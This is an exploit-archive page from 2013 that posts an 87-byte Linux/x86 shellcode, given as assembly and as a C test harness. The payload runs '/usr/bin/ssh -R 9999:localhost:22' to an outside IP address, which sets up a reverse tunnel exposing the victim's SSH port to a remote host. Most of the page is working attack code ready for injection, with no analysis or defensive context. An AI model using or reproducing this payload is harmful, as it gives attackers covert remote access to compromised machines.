Exploit the possiblities

Linux/x86 SSH Remote Port Forwarding Shellcode

Linux/x86 SSH Remote Port Forwarding Shellcode
Posted Feb 22, 2013
Authored by Hamza Megahed

87 bytes small remote SSH port forwarding shellcode for Linux/x86.

tags | remote, x86, shellcode
systems | linux
MD5 | 9a643d98480aec5a4b087a10d8ef812a

Linux/x86 SSH Remote Port Forwarding Shellcode

Change Mirror Download
*****************************************************
* Linux/x86 Remote Port forwarding 87 bytes *
* ssh -R 9999:localhost:22 192.168.0.226 *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************

xor %eax,%eax
push %eax
pushl $0x3632322e
pushl $0x30302e38
pushl $0x36312e32
pushw $0x3931
movl %esp,%esi
push %eax
push $0x32323a74
push $0x736f686c
push $0x61636f6c
push $0x3a393939
pushw $0x3930
movl %esp,%ebp
push %eax
pushw $0x522d
movl %esp,%edi
push %eax
push $0x6873732f
push $0x6e69622f
push $0x7273752f
movl %esp,%ebx
push %eax
push %esi
push %ebp
push %edi
push %ebx
movl %esp,%ecx
mov $0xb,%al
int $0x80

********************************
#include <stdio.h>
#include <string.h>

char *shellcode =
"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36"
"\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68"
"\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68"
"\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75"
"\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

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